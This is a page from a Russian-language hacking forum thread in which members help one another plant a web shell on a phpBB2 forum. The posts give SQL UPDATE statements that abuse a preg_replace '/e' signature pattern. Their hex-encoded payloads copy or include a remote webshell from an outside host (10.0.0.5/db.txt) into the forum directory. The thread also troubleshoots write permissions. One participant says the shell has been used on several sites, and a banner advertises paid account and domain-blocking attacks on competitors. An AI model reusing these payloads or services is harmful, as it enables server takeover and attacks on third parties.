заливка shell - phpbb2

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
заливка shell - phpbb2

Страница 2 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#11

17.04.2008, 20:16

number0

Познающий

Регистрация: 01.03.2008

Сообщений: 39

С нами: 9576326

Репутация: 24

Scipio я так понял тут привязка пошла к 192.168.10.5 ? Походу да.. не вышло. Возможно из-за того что 192.168.10.5 в другой под сети...
Если не трудно. то пожалуйста зделай под IP 10.0.0.5

#12

17.04.2008, 20:20

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A636F70792822687474703A2F2F31302E302E302E352F64622E747874222C222F7661722F7777772F68746D6C2F666F72756D2F64622E7068702229 WHERE user_id=2;

надеюсь на 10.0.0.5 поднят вебсервер?

__________________
Карфаген должен быть разрушен...

#13

17.04.2008, 20:28

number0

Познающий

Регистрация: 01.03.2008

Сообщений: 39

С нами: 9576326

Репутация: 24

Конечно, стоит апач с подержкой пхп.
Сообствено написало что БД успешно востановлена... но при входе в "профиль" просто пустая белая страница.
И при заходе на /forum/db.php

Цитата:

The requested URL /forum/db.php was not found on this server.

Последний раз редактировалось number0; 17.04.2008 в 20:31..

#14

17.04.2008, 20:31

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

ну если все удачно прошло, то здесь /var/www/html/forum/ будет шелл с именем db.php

__________________
Карфаген должен быть разрушен...

#15

17.04.2008, 20:32

number0

Познающий

Регистрация: 01.03.2008

Сообщений: 39

С нами: 9576326

Репутация: 24

Scipio читай выше.. (я пост просто отредактировал). Что-то видать не верно..

#16

17.04.2008, 20:34

vp$

Участник форума

Регистрация: 22.10.2007

Сообщений: 138

С нами: 9765139

Репутация: 177

прочитайте пост #3 три раза
одно дело ты записываешь функцию в базу, а другое записывать файл с помощью базы, если прав на работу с файлами нет, хоть об стенку бейся ни че не выйдет!

#17

17.04.2008, 20:45

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

Цитата:

Сообщение от vp$

да причем здесь это, заливка происходит средствами php а не mysql

2number0, возможно нет прав на запись в эту папку, ищи папку где точно есть права на запись, например можно попробовать папку с аватарами, попробуй так:

Код:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=0x70687062623A696E636C7564652022687474703A2F2F31302E302E302E352F64622E74787422 WHERE user_id=2;

это инклюд

__________________
Карфаген должен быть разрушен...

#18

17.04.2008, 20:53

number0

Познающий

Регистрация: 01.03.2008

Сообщений: 39

С нами: 9576326

Репутация: 24

Успешно БД востановило... профиль по прежнему пустой. Собственно что должно было выполнится?

#19

17.04.2008, 20:59

Scipio

Members of Antichat - Level 5

Регистрация: 02.11.2006

Сообщений: 781

С нами: 10274726

Репутация: 1917

должен был шелл http://10.0.0.5/db.txt проинклюдиться, db.txt- это точно полноценный вебшел?

__________________
Карфаген должен быть разрушен...

#20

17.04.2008, 21:07

number0

Познающий

Регистрация: 01.03.2008

Сообщений: 39

С нами: 9576326

Репутация: 24

Да полностью роботает, использовал его не на одном сайте.

Страница 2 из 4

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
webshell scripts -)	blackybr	PHP	20	28.03.2010 02:17
заливка шела через Koobi CMS	vp$	Веб-уязвимости	2	14.06.2008 08:43
бэкап бд в phpBB2 Plus	IGEMON	Уязвимости CMS / форумов	6	09.02.2008 01:20

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход